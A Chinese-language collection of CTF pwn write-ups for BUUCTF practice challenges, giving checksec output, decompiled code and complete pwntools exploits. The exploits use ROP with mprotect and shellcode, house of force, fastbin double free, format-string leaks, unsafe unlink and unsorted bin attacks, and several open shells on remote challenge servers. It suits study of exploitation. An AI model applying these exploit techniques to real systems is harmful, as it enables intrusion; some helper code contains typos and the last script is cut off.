print hex(stack_addr)
payload = "crashme\x00" + 'a'*(0x40-0x32+4)
payload += p32(stack_addr-(0x40-0x32+4+10)) + asm(shellcraft.sh())
p.sendlineafter("> ",payload)
p.interactive()

get_started_3dsctf_2016

1.checksec()

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

get_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段

  • mprotect原型
1
2
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

所以我们需要三个参数,就要ppp_ret

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#context.log_level = "debug"
p=remote('node3.buuoj.cn',28495)
elf=ELF('./get_started_3dsctf_2016')
pop3_ret = 0x0804951D
get_flag = 0x080489A0
got_addr = 0x080EB000
payload = 'a'*0x38+p32(elf.symbols['mprotect'])
payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c)+p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop3_ret)+p32(0)+p32(got_addr)+p32(0x100)+p32(got_addr)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

gyctf_2020_borrowstack

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-60h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, &buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}

第一步栈迁移,第二步抬高栈了过后libc leak,程序返回至第一个read,第三步one gadget来getshell

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = "debug"
io=remote('node3.buuoj.cn',25707)

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

io.recvuntil('u want')
pl1='a'*0x60+p64(bank)+p64(leave)
io.send(pl1)
io.recvuntil('now!')
pl2=p64(ret)*20 #抬高栈
'''
ret指令用栈中的数据,修改IP的值,从而实现近转移。
CPU执行ret指令时,进行下面两步操作:
(IP)=((SS)*16+(SP))
(SP)=(SP)+2;
'''
pl2+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(pl2)
io.recvline()
puts_add=u64(io.recv(6).ljust(8,'\x00'))
libc_base=puts_add-0x06f690
one_gadget=libc_base+0x4526a
pl3='a'*0x60+'bbbbbbbb'+p64(one_gadget)
io.send(pl3)

io.interactive()

gyctf_2020_force

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

有用的基本只有add

1
2
3
4
5
6
7
def add(sz,text):
p.sendlineafter("2:puts\n","1")
p.sendlineafter("size\n",str(sz))
p.recvuntil("bin addr ")
addr = int(p.recvuntil('\n').strip(), 16)
p.sendafter("content\n",text)
return addr

add

1
2
3
4
5
6
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*(_QWORD *)i = malloc(size);
if ( !*(_QWORD *)i )
exit(0);

add会返回堆的地址,所以可以利用这个来获取偏移量

add同时存在堆溢出,使得我们可以覆盖 top chunksize

可以多次申请。综上,符合house of force的攻击条件

1.libc leak 2.hof 3.malloc_hook+one gadget

3.GDB

0x1 libc leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1:add
2:puts
1
size
2097152
bin addr 0x7ffff780c010
content
aaaa
>vmmap
0x7ffff780c000 0x7ffff7a0d000 rw-p 201000 0
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
>In python
>>> hex(0x7ffff7a0d000 - 0x7ffff780c010)
'0x200ff0'

得到偏移 0x200ff0

0x2 house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#code:
addr = add(0x200000,'aaaaaa')
base = addr + 0x200ff0
log.success("libc base >>0x%x",base)
top = add(0x18,"a"*0x10+p64(0)+p64(0xffffffffffffffff))+0x10
log.success("top chunk >>0x%x",top)
gdb.attach(p)
#gdb:
pwndbg> heap
0x5559b4dfa000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x0,
bk_nextsize = 0xffffffffffffffff
}
pwndbg> x/12gx 0x5559b4dfa000
0x55d5b01aa000: 0x0000000000000000 0x0000000000000021
0x55d5b01aa010: 0x6161616161616161 0x6161616161616161
0x55d5b01aa020: 0x0000000000000000 0xffffffffffffffff
0x55d5b01aa030: 0x0000000000000000 0x0000000000000000
#输出:
[+] Starting local process './gyctf_2020_force': pid 50956
[+] libc base >>0x7fc48892d000
[+] top chunk >>0x55d5b01aa020
1
2
3
4
5
6
7
8
9
#code:
add((offset-0x33),"aaaa")
#考虑到内存对齐,经过调试可得offset-0x33时,可以申请到malloc_hook-0x21的内存
add(0x10,"a"*0x8+p64(one_gadget)+p64(realloc+16))
#gdb:
0x7f7a6909aaef <_IO_wide_data_0+303>: 0x007f7a6909926000 0x0000000000002100
0x7f7a6909aaff: 0x6161616161616100 0x007f7a68d1b26a61
0x7f7a6909ab0f <__realloc_hook+7>: 0x007f7a68d5a6d000 0xffd61c20d2750900 <-这里调整堆栈,使one gadget可用
0x7f7a6909ab1f: 0x00000100000000ff 0x0000000000000000

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#context.log_level = "debug"
elf = ELF("./gyctf_2020_force")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./gyctf_2020_force")
#p = remote("node3.buuoj.cn","28528")

def add(sz,text):
p.sendlineafter("puts\n","1")
p.sendlineafter("size\n",str(sz))
p.recvuntil("0x")
addr = int(p.recv(12),16)
p.sendafter("content\n",text)
return addr

if __name__ == '__main__':
addr = add(0x200000,'aaaaaa')
base = addr + 0x200ff0
log.success("libc base >>0x%x",base)
top = add(0x18,"a"*0x10+p64(0)+p64(0xffffffffffffffff))+0x10
log.success("top chunk >>0x%x",top)
#gdb.attach(p)

malloc_hook = base+libc.sym["__malloc_hook"]
realloc = base+libc.sym["__libc_realloc"]
one_gadget = 0x4526a + base
offset = malloc_hook-top

log.success("malloc hook >>0x%x",malloc_hook)
log.success("realloc hook >>0x%x",realloc)
log.success("offset >>0x%x",offset)

add((offset-0x33),"aaaa")
add(0x10,"a"*0x8+p64(one_gadget)+p64(realloc+16))
#gdb.attach(p)

p.sendlineafter("puts\n","1")
p.sendlineafter("size\n",str(0x20))
p.interactive()

gyctf_2020_some_thing_exceting

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

三大功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(ba_sz,ba_text,na_sz,na_text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(ba_sz))
p.sendlineafter(":",str(ba_text))
p.sendlineafter(":",str(na_sz))
p.sendlineafter(":",str(na_text))

def delete(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def view(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 flag()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 96;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}

后门函数

delete

1
2
3
free(*(void **)ptr[v1]);
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);

free指针没有清零,可以直接接上

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.log_level = "debug"
elf = ELF("./something")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./something")
p = remote("node3.buuoj.cn","25754")

def add(ba_sz,ba_text,na_sz,na_text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(ba_sz))
p.sendlineafter(":",str(ba_text))
p.sendlineafter(":",str(na_sz))
p.sendlineafter(":",str(na_text))

def delete(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def view(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

if __name__ == '__main__':
add(0x50,'0000',0x50,'1111')#0
add(0x50,'2222',0x50,'3333')#1

delete(0)
delete(1)
delete(0)

add(0x50,p64(0x602098),0x50,'Chunk_2')#0
add(0x50,'Chunk_3',0x50,'Chunk_4')#1-->in 0x602098
add(0x50,'f',0x60,'2')#0
view(4)
p.interactive()

gyctf_2020_some_thing_interesting

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

sub_B7A

1
2
3
4
5
6
read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 14uLL) ) // 只比较了前14个,后面可以带东西
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}

字符串格式化漏洞,这里可以泄露地址

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !chunk[v1] ) // 检查idx合法
{
puts("Emmmmmm!Maybe you want Fool me!");
Exit();
}
free(chunk[v1]); // 指针未清零
free(re_chunk[v1]); // 导致uaf
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}

free后指针没有置零,造成uaf

3.exp1 偏移量计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
sh = 0
counter=""

def start(i):
sh.sendlineafter(":","OreOOrereOOreO%"+str(i)+"$p")

def check_in(i):
sh.sendlineafter(":","0")
sh.recvuntil("OreOOrereOOreO")
str1 = sh.recv(16)
#print str1
if "0x7f" in str1:
success("This can be tested")
global counter
counter+= " "+str(i)+" "
print "\n"
print "\n"
else:
pass


def offset_count(ip,port,mode,debug,i):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./gyctf_2020_some_thing_interesting")
else:
sh = remote(ip,port)
start(i)
check_in(i)
sh.close()

if __name__ == '__main__':
for i in range(4,20):
#success("Now round %d",i)
offset_count(1,1,0,1,i)
print "can be tested >"
print counter

得到

4 6 7 10 11 12 14 16 17 19

最终得到偏移量为 17

这里也可以使用 *b $rebase(偏移地址) 来慢慢计算得到偏移

3.exp2 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
sh = 0

def leak_addr():
sh.sendlineafter(":","OreOOrereOOreO%17$p")
sh.sendlineafter(":","0")
sh.recvuntil("OreOOrereOOreO0x")
return int(sh.recv(12),16)

def create(o_sz,o_text,re_sz,re_text):
sh.sendlineafter(":","1")
sh.sendlineafter(": ",str(o_sz))
sh.sendlineafter(": ",o_text)
sh.sendlineafter(": ",str(re_sz))
sh.sendlineafter(": ",re_text)

def edit(idx,o_text,re_text):
sh.sendlineafter(":","2")
sh.sendlineafter(": ",str(idx))
sh.sendlineafter(": ",o_text)
sh.sendlineafter(": ",re_text)

def delete(idx):
sh.sendlineafter(":","3")
sh.sendlineafter(": ",str(idx))

def show(idx):
sh.sendlineafter(":","3")
sh.sendlineafter(": ",str(idx))

def pwn(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./gyctf_2020_some_thing_interesting")
else:
sh = remote(ip,port)

leak = leak_addr()
base = leak-0x20830
one_gadget = 0xf1147+base
malloc_hook = base+libc.sym["__malloc_hook"]
success("base -> 0x%x",base)
success("one gadget -> 0x%x",one_gadget)
success("malloc hook -> 0x%x",malloc_hook)

create(0x68,'aaaa',0x68,'1111') #1
create(0x68,'aaaa',0x68,'1111') #2
delete(1)
delete(2)
delete(1)

create(0x68,p64(malloc_hook-35),0x68,'1111') #1
create(0x68,p64(malloc_hook-35),0x68,'1111') #2
create(0x68,p64(malloc_hook-35),0x68,"a"*0x13+p64(one_gadget)) #1
sh.sendlineafter(":","1")
sh.sendlineafter(": ","20")
sh.interactive()
if __name__ == '__main__':
pwn("node3.buuoj.cn",29443,1,1)

hitcon_2014_stkof

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

程序太简陋了,几乎没有交互,能用的有三个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
def add(sz):
p.snedline("1")
p.snedline(str(sz))

def edit(chunk,size,strs):
p.sendline("2")
p.sendline(chunk)
p.sendline(size)
p.sendline(strs)

def free(chunk):
p.sendline("3")
p.sendline(chunk)

sub_4009E8() edit

1
2
3
4
5
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}

没有控制输入范围,可以堆溢出

全局变量s

1
2
3
4
5
6
7
.bss:0000000000602104                 align 40h
.bss:0000000000602140 ; char *s[1049600]
.bss:0000000000602140 s dq ? ; DATA XREF: add+78↑w
.bss:0000000000602140 ; edit+60↑r ...
.bss:0000000000602148 db ? ;
.bss:0000000000602149 db ? ;
.bss:000000000060214A db ? ;

思路

有堆溢出,有全局指针变量,没有输出函数,所以用unlink改free@gotputs,再次调用free就相当于调用puts,从而libc leak

填入onegedget或者该函数为system并执行binsh,从而getshell

3.GDB

unlink部份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#unlink
#code:
alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #全局变量

#fake chunk
payload = p64(0)
payload += p64(0x20)
payload += p64(head + 16 - 0x18)
payload += p64(head + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(2, len(payload), payload)

#unlink
free(3)
p.recvuntil('OK\n')
gdb.attach(p)

gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
0x1561000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa33,
bk = 0x20,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}
0x1562010 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562120 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562530 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x20ac1,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}

pwndbg> x/32gx 0x1561000
0x1561000: 0x0000000000000000 0x0000000000001011
0x1561010: 0x0000000000000a33 0x0000000000000020
fake fd fake bk
0x1561020: 0x0000000000602138 0x0000000000602140
0x1561030: 0x0000000000000020 0x6161616161616161
0x1561040: 0x0000000000000030 0x0000000000000090
0x1561050: 0x0000000000000000 0x0000000000000000
0x1561060: 0x0000000000000000 0x0000000000000000

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level = "debug"
elf = ELF("./stkof")
libc = ELF('/home/joe1sn/libc/64/libc-2.23.so')
#p = process("./stkof")
p = remote("node3.buuoj.cn","25342")

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))


if __name__ == '__main__':

alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #global pointer
payload = p64(0) #prev_size
payload += p64(0x20) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a') # overwrite global[3]'s chunk's prev_size

# make it believe that prev chunk is at global[2]
payload += p64(0x30) #0x30 is the front one whole size?

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)

#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()

hitcontraining_uaf

Use_After_Free

  • 1.checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 2.IDA

得到几个选项+后门

1
2
3
4
def add(sz,text):
p.sendlineafter("choice :","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
1
2
3
def dele(idx):
p.sendlineafter("choice :","2")
p.sendlineafter(":",str(idx))
1
2
3
def show(idx):
p.sendlineafter("choice :","3")
p.sendlineafter("choice :",str(idx))

backdoor:

1
2
3
4
int magic()
{
return system("cat /home/hacknote/flag");
}

free:

1
2
3
free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts("Success");

这里free后指针未清造成UAF

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process("./hacknote")

def addnote(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def delnote(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))

def printnote(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

if __name__ == '__main__':
magic = 0x08048986
system = 0x8048506
addnote(32,"ddaa")
addnote(32,"ddaa")
addnote(32,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
p.interactive()

hitcontraining_bamboobox

Unlink or House_Of_Force

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA
1
2
3
4
def add(length,name):
p.sendlineafter(":","2")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
1
2
3
4
5
def edit(idx,length,name):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
1
2
3
def free(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))
1
2
def show():
p.sendlineafter(":","1")

back_door

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}

change_item

1
2
3
4
5
6
 printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}

堆溢出

**1.unsafe unlink: **对进行 unlink chunk 进行内存布然后借助 unlink 操作来达成修改指针的效果。个人认为通过堆溢出伪造一个chun伪造的chunk一般在fd和bk上不同

**2.house of force: **

进行堆分配如果所有空闲的块都无法满足需那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案可以使得 top chunk指向我们期望的任何位这就相当于一次任意地址写。 –CTFWiKi

需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小
  • EXP-1

unlink

原版EXP方便理解所以直接拿来用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11011


r = remote(host,port)

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

additem(0x40,"a"*8)
additem(0x80,"b"*8)
additem(0x40,"c"*8)

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)#修复
fake_chunk += p64(0x90)#修复

modify(0,0x80,fake_chunk) #unlink
remove(1)

payload = p64(0)*2
payload += p64(0x40) + p64(0x602068)
modify(0,0x80,payload)
show() #libc base leak
r.recvuntil("0 : ")
atoi = u64(r.recvuntil(":")[:6].ljust(8,"\x00"))
libc = atoi - 0x36e80
print "libc:",hex(libc)
system = libc + 0x45390

modify(0,0x8,p64(system))
r.recvuntil(":")
r.sendline("sh")
r.interactive()

这里可以看见我们伪造的堆结构:

1
2
3
4
5
6
7
8
ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
  • 3.EXP-2

house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

r = process("./bamboobox")
elf = ELF("./bamboobox")

def alloc(length,context):
r.recvuntil("Your choice:")
r.sendline("2")
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the name of item:")
r.send(context)

def edit(idx,length,context):
r.recvuntil("Your choice:")
r.sendline("3")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the new name of the item:")
r.send(context)

def free(idx):
r.recvuntil("Your choice:")
r.sendline("4")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))

def show():
r.sendlineafter("Your choice:", "1")

def exit():
r.sendlineafter(":", "5")

alloc(0x30,'aaaa')

payload='a'*0x30+p64(0)+p64(0xffffffffffffffff) #house of force
edit(0,0x40,payload)

magic=elf.sym['magic']
malloc_size = -(0x40 + 0x20)-0x10

alloc(malloc_size,'aaaa')
alloc(0x10,p64(magic)*2)
exit()
r.interactive()

hitcontraining_magicheap

Unsorted_Bin_Attack

控制 Unsorted Bin Chunk 的 bk 指针

  • 1.checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA
1
2
3
4
def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
1
2
3
4
5
def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))
1
2
3
def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

back_door

1
2
3
4
int l33t()
{
return system("/bin/sh");
}

edit_heap

1
2
3
4
5
6
printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");

未控制边堆溢出

  • 3.EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13)) #<--控制bk指针

add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()

为什么是p64(l33t-0x13)?

经过动态调试得该处是unsorted bin链表

为什么edit(3,’a’*8)?

覆写magic的值为‘0x6161616161616161从而进入后门

hitcontraining_heapcreator

Off_By_One

  • 1.checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

日常增删查改

1
2
3
4
def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)
1
2
3
4
def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)
1
2
3
def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
1
2
3
def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

edit

1
2
3
printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done !");

人为的多读取了一个字节(off by one使得我们可以控制下一个chunksize,再得到`libc base 最后改free为system

  • 3.EXP
1
